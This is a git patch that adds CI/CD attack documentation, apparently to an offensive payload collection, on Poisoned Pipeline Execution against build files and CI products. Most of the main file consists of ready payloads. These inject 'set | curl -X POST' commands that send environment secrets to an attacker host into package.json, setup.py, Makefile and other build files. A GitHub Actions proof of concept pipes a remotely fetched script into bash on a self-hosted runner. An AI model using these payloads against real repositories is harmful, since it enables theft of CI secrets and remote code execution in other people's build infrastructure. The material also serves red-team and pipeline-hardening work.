From e8fafe780f16f4754a590145e41619d3ca7877b0 Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Fri, 1 Nov 2024 20:59:29 +0100 Subject: [PATCH] Adding CI/CD from PATT --- docs/ci-cd/README.md | 243 +++++++++++++++++++++++++++++++++++ docs/ci-cd/azure-devops.md | 16 +++ docs/ci-cd/buildkite.md | 12 ++ docs/ci-cd/circle-ci.md | 15 +++ docs/ci-cd/drone-ci.md | 14 ++ docs/ci-cd/github-actions.md | 154 ++++++++++++++++++++++ 6 files changed, 454 insertions(+) create mode 100644 docs/ci-cd/README.md create mode 100644 docs/ci-cd/azure-devops.md create mode 100644 docs/ci-cd/buildkite.md create mode 100644 docs/ci-cd/circle-ci.md create mode 100644 docs/ci-cd/drone-ci.md create mode 100644 docs/ci-cd/github-actions.md diff --git a/docs/ci-cd/README.md b/docs/ci-cd/README.md new file mode 100644 index 0000000..6e019d6 --- /dev/null +++ b/docs/ci-cd/README.md @@ -0,0 +1,243 @@ +# CI/CD attacks + +> CI/CD pipelines are often triggered by untrusted actions such a forked pull requests and new issue submissions for public git repositories.\ +> These systems often contain sensitive secrets or run in privileged environments.\ +> Attackers may gain an RCE into such systems by submitting crafted payloads that trigger the pipelines.\ +> Such vulnerabilities are also known as Poisoned Pipeline Execution (PPE) + + +## Summary + +- [CI/CD attacks](#cicd-attacks) + - [Summary](#summary) + - [Tools](#tools) + - [Package managers & Build Files](#package-managers--build-files) + - [Javascript / Typescript - package.json](#javascript--typescript---packagejson) + - [Python - setup.py](#python---setuppy) + - [Bash / sh - *.sh](#bash--sh---sh) + - [Maven / Gradle](#maven--gradle) + - [BUILD.bazel](#buildbazel) + - [Makefile](#makefile) + - [Rakefile](#rakefile) + - [C# - *.csproj](#c---csproj) + - [CI/CD products](#cicd-products) + - [GitHub Actions](#github-actions) + - [Azure Pipelines (Azure DevOps)](#azure-pipelines-azure-devops) + - [CircleCI](#circleci) + - [Drone CI](#drone-ci) + - [BuildKite](#buildkite) + - [References](#references) + + +## Tools + +* [praetorian-inc/gato](https://github.com/praetorian-inc/gato) - GitHub Self-Hosted Runner Enumeration and Attack Tool +* [messypoutine/gravy-overflow](https://github.com/messypoutine/gravy-overflow) - A GitHub Actions Supply Chain CTF / Goat + + +## Package managers & Build Files + +> Code injections into build files are CI agnostic and therefore they make great targets when you don't know what system builds the repository, or if there are multiple CI's in the process.\ +> In the examples below you need to either replace the files with the sample payloads, or inject your own payloads into existing files by editing just a part of them.\n +> If the CI builds forked pull requests then your payload may run in the CI. + +### Javascript / Typescript - package.json + +> The `package.json` file is used by many Javascript / Typescript package managers (`yarn`,`npm`,`pnpm`,`npx`....). + +> The file may contain a `scripts` object with custom commands to run.\ +`preinstall`, `install`, `build` & `test` are often executed by default in most CI/CD pipelines - hence they are good targets for injection.\ +> If you come across a `package.json` file - edit the `scripts` object and inject your instruction there + + +NOTE: the payloads in the instructions above must be `json escaped`. + +Example: +```json +{ + "name": "my_package", + "description": "", + "version": "1.0.0", + "scripts": { + "preinstall": "set | curl -X POST --data-binary @- {YourHostName}", + "install": "set | curl -X POST --data-binary @- {YourHostName}", + "build": "set | curl -X POST --data-binary @- {YourHostName}", + "test": "set | curl -X POST --data-binary @- {YourHostName}" + }, + "repository": { + "type": "git", + "url": "https://github.com/foobar/my_package.git" + }, + "keywords": [], + "author": "C.Norris" +} +``` + + +### Python - setup.py + +> `setup.py` is used by python's package managers during the build process. +It is often executed by default.\ +> Replacing the setup.py files with the following payload may trigger their execution by the CI. + +```python +import os + +os.system('set | curl -X POST --data-binary @- {YourHostName}') +``` + + +### Bash / sh - *.sh + +> Shell scripts in the repository are often executed in custom CI/CD pipelines.\ +> Replacing all the `.sh` files in the repo and submitting a pull request may trigger their execution by the CI. + +```shell +set | curl -X POST --data-binary @- {YourHostName} +``` + + + +### Maven / Gradle + +> These package managers come with "wrappers" that help with running custom commands for building / testing the project.\ +These wrappers are essentially executable shell/cmd scripts. +Replace them with your payloads to have them executed: + +- `gradlew` +- `mvnw` +- `gradlew.bat` (windows) +- `mvnw.cmd` (windows) + + +> Occasionally the wrappers will not be present in the repository.\ +> In such cases you can edit the `pom.xml` file, which instructs maven what dependencies to fetch and which `plugins` to run.\ +> Some plugins allow code execution, here's an example of the common plugin `org.codehaus.mojo`.\ +> If the `pom.xml` file you're targeting already contains a `` instruction then simply add another `` node under it.\ +> If if **doesn't** contain a `` node then add it under the `` node. + +NOTE: remember that your payload is inserted in an XML document - XML special characters must be escaped. + + +```xml + + + + org.codehaus.mojo + exec-maven-plugin + 1.6.0 + + + run-script + validate + + exec + + + + + bash + + + -c + + {XML-Escaped-Payload} + + + + + +``` + + +### BUILD.bazel + +> Replace the content of `BUILD.bazel` with the following payload + +NOTE: `BUILD.bazel` requires escaping backslashes.\ +Replace any `\` with `\\` inside your payload. + +```shell +genrule( + name = "build", + outs = ["foo"], + cmd = "{Escaped-Shell-Payload}", + visibility = ["//visibility:public"], +) +``` + + +### Makefile + +> Make files are often executed by build pipelines for projects written in `C`, `C++` or `Go` (but not exclusively).\ +> There are several utilities that execute `Makefile`, the most common are `GNU Make` & `Make`.\ +> Replace your target `Makefile` with the following payload + +```shell +.MAIN: build +.DEFAULT_GOAL := build +.PHONY: all +all: + set | curl -X POST --data-binary @- {YourHostName} +build: + set | curl -X POST --data-binary @- {YourHostName} +compile: + set | curl -X POST --data-binary @- {YourHostName} +default: + set | curl -X POST --data-binary @- {YourHostName} +``` + + +### Rakefile + +> Rake files are similar to `Makefile` but for Ruby projects.\ +> Replace your target `Rakefile` with the following payload + + +```shell +task :pre_task do + sh "{Payload}" +end + +task :build do + sh "{Payload}" +end + +task :test do + sh "{Payload}" +end + +task :install do + sh "{Payload}" +end + +task :default => [:build] +``` + + +### C# - *.csproj + +> `.csproj` files are build file for the `C#` runtime.\ +> They are constructed as XML files that contain the different dependencies that are required to build the project.\ +> Replacing all the `.csproj` files in the repo with the following payload may trigger their execution by the CI. + +NOTE: Since this is an XML file - XML special characters must be escaped. + + +```powershell + + + + + +``` + + + + +## References + +* [Poisoned Pipeline Execution](https://www.cidersecurity.io/top-10-cicd-security-risks/poisoned-pipeline-execution-ppe/) +* [DEF CON 25 - spaceB0x - Exploiting Continuous Integration (CI) and Automated Build systems](https://youtu.be/mpUDqo7tIk8) +* [Azure-Devops-Command-Injection](https://pulsesecurity.co.nz/advisories/Azure-Devops-Command-Injection) +* [x33fcon lighting talk - Hacking Java serialization from python - Tomasz Bukowski](https://youtu.be/14tNFwfety4) \ No newline at end of file diff --git a/docs/ci-cd/azure-devops.md b/docs/ci-cd/azure-devops.md new file mode 100644 index 0000000..051bef2 --- /dev/null +++ b/docs/ci-cd/azure-devops.md @@ -0,0 +1,16 @@ +# Azure DevOps + +## Azure Pipelines + +The configuration files for azure pipelines are normally located in the root directory of the repository and called - `azure-pipelines.yml`\ +You can tell if the pipeline builds pull requests based on its trigger instructions. Look for `pr:` instruction: + +```yaml +trigger: + branches: + include: + - master + - refs/tags/* +pr: +- master +``` \ No newline at end of file diff --git a/docs/ci-cd/buildkite.md b/docs/ci-cd/buildkite.md new file mode 100644 index 0000000..935fb95 --- /dev/null +++ b/docs/ci-cd/buildkite.md @@ -0,0 +1,12 @@ +# BuildKite + +The configuration files for BuildKite builds are located in `.buildkite/*.yml`\ +BuildKite build are often self-hosted, this means that you may gain excessive privileges to the kubernetes cluster that runs the runners, or to the hosting cloud environment. + +In order to run an OS command in a workflow that builds pull requests - simply add a `command` instruction to the step. + +```yaml +steps: + - label: "Example Test" + command: echo "Hello!" +``` diff --git a/docs/ci-cd/circle-ci.md b/docs/ci-cd/circle-ci.md new file mode 100644 index 0000000..ffaff36 --- /dev/null +++ b/docs/ci-cd/circle-ci.md @@ -0,0 +1,15 @@ +# CircleCI + +The configuration files for CircleCI builds are located in `.circleci/config.yml`\ +By default - CircleCI pipelines don't build forked pull requests. It's an opt-in feature that should be enabled by the pipeline owners. + +In order to run an OS command in a workflow that builds pull requests - simply add a `run` instruction to the step. + +```yaml +jobs: + build: + docker: + - image: cimg/base:2022.05 + steps: + - run: echo "Say hello to YAML!" +``` \ No newline at end of file diff --git a/docs/ci-cd/drone-ci.md b/docs/ci-cd/drone-ci.md new file mode 100644 index 0000000..aacb7f8 --- /dev/null +++ b/docs/ci-cd/drone-ci.md @@ -0,0 +1,14 @@ +# Drone CI + +The configuration files for Drone builds are located in `.drone.yml`\ +Drone build are often self-hosted, this means that you may gain excessive privileges to the kubernetes cluster that runs the runners, or to the hosting cloud environment. + +In order to run an OS command in a workflow that builds pull requests - simply add a `commands` instruction to the step. + +```yaml +steps: + - name: do-something + image: some-image:3.9 + commands: + - {Payload} +``` \ No newline at end of file diff --git a/docs/ci-cd/github-actions.md b/docs/ci-cd/github-actions.md new file mode 100644 index 0000000..52977f0 --- /dev/null +++ b/docs/ci-cd/github-actions.md @@ -0,0 +1,154 @@ +# GitHub Actions + +## Default Action + +The configuration files for GH actions are located in the directory `.github/workflows/`\ +You can tell if the action builds pull requests based on its trigger (`on`) instructions: + +```yaml +on: + push: + branches: + - master + pull_request: +``` + +In order to run a command in an action that builds pull requests, add a `run` instruction to it. + +```yaml +jobs: + print_issue_title: + runs-on: ubuntu-latest + name: Command execution + steps: + - run: echo whoami" +``` + + +## Misconfigured Actions + +Analyze repositories to find misconfigured Github actions. + +* [synacktiv/octoscan](https://github.com/synacktiv/octoscan) - Octoscan is a static vulnerability scanner for GitHub action workflows. +* [boostsecurityio/poutine](https://github.com/boostsecurityio/poutine) - Poutine is a security scanner that detects misconfigurations and vulnerabilities in the build pipelines of a repository. It supports parsing CI workflows from GitHub Actions and Gitlab CI/CD. + ```ps1 + # Using Docker + $ docker run ghcr.io/boostsecurityio/poutine:latest + + # Analyze a local repository + $ poutine analyze_local . + + # Analyze a remote GitHub repository + $ poutine -token "$GH_TOKEN" analyze_repo messypoutine/gravy-overflow + + # Analyze all repositories in a GitHub organization + $ poutine -token "$GH_TOKEN" analyze_org messypoutine + + # Analyze all projects in a self-hosted Gitlab instance + $ poutine -token "$GL_TOKEN" -scm gitlab -scm-base-uri https://example.com org/repo + ``` + +![](https://raw.githubusercontent.com/jstawinski/GitHub-Actions-Attack-Diagram/refs/heads/main/GitHub%20Actions%20Attack%20Diagram.svg) + + +### Repo Jacking + +When the action is using a non-existing action, Github username or organization. + +```yaml +- uses: non-existing-org/checkout-action +``` + +> :warning: To protect against repojacking, GitHub employs a security mechanism that disallows the registration of previous repository names with 100 clones in the week before renaming or deleting the owner's account. [The GitHub Actions Worm: Compromising GitHub Repositories Through the Actions Dependency Tree - Asi Greenholts](https://www.paloaltonetworks.com/blog/prisma-cloud/github-actions-worm-dependencies/) + + +### Untrusted Input Evaluation + +An action may be vulnerable to command injection if it dynamically evaluates untrusted input as part of its `run` instruction: + +```yaml +jobs: + print_issue_title: + runs-on: ubuntu-latest + name: Print issue title + steps: + - run: echo "${{github.event.issue.title}}" +``` + + +### Extract Sensitive Variables and Secrets + +**Variables** are used for non-sensitive configuration data. They are accessible only by GitHub Actions in the context of this environment by using the variable context. + +**Secrets** are encrypted environment variables. They are accessible only by GitHub Actions in the context of this environment by using the secret context. + +```yml +jobs: + build: + runs-on: ubuntu-latest + environment: env + steps: + - name: Access Secrets + env: + SUPER_SECRET_TOKEN: ${{ secrets.SUPER_SECRET_TOKEN }} + run: | + echo SUPER_SECRET_TOKEN=$SUPER_SECRET_TOKEN >> local.properties +``` + +* [synacktiv/gh-hijack-runner](https://github.com/synacktiv/gh-hijack-runner) - A python script to create a fake GitHub runner and hijack pipeline jobs to leak CI/CD secrets. + + +## Self-Hosted Runners + +A self-hosted runner for GitHub Actions is a machine that you manage and maintain to run workflows from your GitHub repository. Unlike GitHub's own hosted runners, which operate on GitHub's infrastructure, self-hosted runners run on your own infrastructure. This allows for more control over the hardware, operating system, software, and security of the runner environment. + +Scan a public GitHub Organization for Self-Hosted Runners + +* [AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - Fork of Gato - Gato (Github Attack TOolkit) - Extreme Edition +* [praetorian-inc/gato](https://github.com/praetorian-inc/gato) - GitHub Actions Pipeline Enumeration and Attack Tool + ```ps1 + gato -s enumerate -t targetOrg -oJ target_org_gato.json + ``` + +There are 2 types of self-hosted runners: non-ephemeral and ephemeral. + +* **Ephemeral** runners are short-lived, created to handle a single or limited number of jobs before being terminated. They provide isolation, scalability, and enhanced security since each job runs in a clean environment. +* **Non-ephemeral** runners are long-lived, designed to handle multiple jobs over time. They offer consistency, customization, and can be cost-effective in stable environments where the overhead of provisioning new runners is unnecessary. + +Identify the type of self-hosted runner with `gato`: + +```ps1 +gato e --repository vercel/next.js +[+] The authenticated user is: swisskyrepo +[+] The GitHub Classic PAT has the following scopes: repo, workflow + - Enumerating: vercel/next.js! +[+] The repository contains a workflow: build_and_deploy.yml that might execute on self-hosted runners! +[+] The repository vercel/next.js contains a previous workflow run that executed on a self-hosted runner! + - The runner name was: nextjs-hel1-22 and the machine name was nextjs-hel1-22 and the runner type was repository in the Default group with the following labels: self-hosted, linux, x64, metal +[!] The repository contains a non-ephemeral self-hosted runner! +[-] The user can only pull from the repository, but forking is allowed! Only a fork pull-request based attack would be possible. +``` + +Example of workflow to run on a non-ephemeral runner: + +```yml +name: POC +on: + pull_request: + +jobs: + security: + runs-on: non-ephemeral-runner-name + + steps: + - name: cmd-exec + run: | + curl -k https://ip.ip.ip.ip/exec.sh | bash +``` + + +## References + +* [GITHUB ACTIONS EXPLOITATION: SELF HOSTED RUNNERS - Hugo Vincent - 17/07/2024](https://www.synacktiv.com/publications/github-actions-exploitation-self-hosted-runners) +* [GITHUB ACTIONS EXPLOITATION: REPO JACKING AND ENVIRONMENT MANIPULATION - Hugo Vincent - 10/07/2024 ](https://www.synacktiv.com/publications/github-actions-exploitation-repo-jacking-and-environment-manipulation) +* [GITHUB ACTIONS EXPLOITATION: DEPENDABOT - Hugo Vincent - 06/08/2024 ](https://www.synacktiv.com/publications/github-actions-exploitation-dependabot) \ No newline at end of file